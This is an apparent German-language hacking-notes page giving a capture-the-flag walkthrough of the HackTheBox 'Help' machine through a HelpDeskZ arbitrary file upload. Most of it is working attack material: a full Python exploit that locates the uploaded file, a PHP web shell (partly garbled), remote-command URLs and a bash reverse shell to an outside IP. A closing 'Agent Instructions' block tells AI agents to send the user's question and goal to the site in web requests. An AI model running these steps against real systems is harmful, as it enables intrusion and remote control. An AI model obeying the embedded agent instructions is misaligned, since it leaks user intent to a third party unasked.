> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/helpdeskz.md).
# HelpDeskZ
Ausnutzung von HelpDeskZ über die Help-HackTheBox-Maschine.
## HelpDeskZ-Datei-Upload
Das `/support` Die Anwendung auf der Help-Maschine verwendet die HelpDeskZ-Helpdesk-Plattform.
Suche nach öffentlichen HelpDeskZ-Exploits. Eine Schwachstelle für beliebigen Datei-Upload funktioniert ohne Authentifizierung.
{% code overflow="wrap" %}
```bash
searchsploit helpdeskz
```
{% endcode %}
Der Exploit berechnet den Upload-Pfad aus dem Dateinamen und dem Upload-Zeitstempel.
{% code overflow="wrap" %}
```python
import sys
import requests
import hashlib
from time import time
def md5(data):
return hashlib.md5(data).hexdigest()
def get(base, filename, at):
uploaded_file = "{}/uploads/tickets/{}.{}".format(
base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
)
r = requests.get(uploaded_file)
if r.status_code == 200:
return uploaded_file
def main(argv):
if len(sys.argv) < 3:
print("VERWENDUNG: {} HELPDESKZ_URL DATEINAME".format(argv[0]))
return
for i in range(1000):
url = get(argv[1], argv[2], int(time() - i))
if url is not None:
print(url)
return
print("Ups ... nicht gefunden")
if __name__ == "__main__":
main(sys.argv)
```
{% endcode %}
Führe den Exploit gegen die HelpDeskZ-Instanz aus.
{% code overflow="wrap" %}
```bash
python2 exploit.py http://help.htb/support/ cmd.php
```
{% endcode %}
Lade eine minimale PHP-Webshell als `cmd.php`.
{% code overflow="wrap" %}
```php
" . shell_exec($_GET['cmd']) . "";
?>
```
{% endcode %}
Der Exploit gibt den Pfad der hochgeladenen Datei zurück.
* [Hochgeladene Webshell](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)
Bestätige die Ausführung von Remote-Befehlen.
{% code overflow="wrap" %}
```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```
{% endcode %}
Lies das User-Flag.
{% code overflow="wrap" %}
```bash
?cmd=cat /home/help/user.txt
```
{% endcode %}
Starte einen Listener für eine Reverse Shell.
{% code overflow="wrap" %}
```bash
nc -nvlp 443
```
{% endcode %}
Führe den folgenden Befehl über die Webshell aus.
{% code overflow="wrap" %}
```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/cms/helpdeskz.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
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Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
